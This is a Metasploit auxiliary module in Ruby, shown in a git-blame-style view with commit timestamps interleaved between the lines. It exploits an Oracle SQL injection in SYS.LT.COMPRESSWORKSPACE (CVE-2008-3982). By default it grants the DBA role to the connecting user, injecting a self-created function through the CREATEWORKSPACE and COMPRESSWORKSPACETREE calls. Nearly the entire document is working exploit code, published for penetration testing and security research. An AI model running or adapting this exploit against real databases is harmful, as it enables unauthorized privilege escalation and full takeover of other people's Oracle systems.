2009-07-28 13:43:37 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::ORACLE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an sql injection flaw in the COMPRESSWORKSPACE
|
|
|
|
procedure of the PL/SQL package SYS.LT. Any user with execute
|
|
|
|
privilege on the vulnerable package can exploit this vulnerability.
|
|
|
|
},
|
|
|
|
'Author' => [ 'CG' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-3982'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '49324'],
|
2015-10-27 17:41:32 +00:00
|
|
|
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 13 2008'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
return if not check_dependencies
|
|
|
|
|
|
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
cruft = Rex::Text.rand_text_alpha_upper(1)
|
|
|
|
|
|
|
|
function = "
|
|
|
|
CREATE OR REPLACE FUNCTION #{cruft}
|
|
|
|
RETURN VARCHAR2 AUTHID CURRENT_USER
|
|
|
|
AS
|
|
|
|
PRAGMA AUTONOMOUS_TRANSACTION;
|
|
|
|
BEGIN
|
|
|
|
EXECUTE IMMEDIATE '#{datastore['SQL']}';
|
|
|
|
COMMIT;
|
|
|
|
RETURN '#{cruft}';
|
|
|
|
END;"
|
|
|
|
|
|
|
|
package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
|
|
|
|
|
|
|
|
package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
|
|
|
|
|
|
|
|
clean = "DROP FUNCTION #{cruft}"
|
|
|
|
|
|
|
|
print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")
|
|
|
|
|
|
|
|
print_status("Sending function...")
|
|
|
|
prepare_exec(function)
|
|
|
|
|
|
|
|
begin
|
|
|
|
prepare_exec(package1)
|
|
|
|
prepare_exec(package2)
|
|
|
|
rescue => e
|
|
|
|
if ( e.to_s =~ /No Data/ )
|
|
|
|
print_status("Removing function '#{cruft}'...")
|
|
|
|
prepare_exec(clean)
|
|
|
|
else
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
|
|
|
|
end
|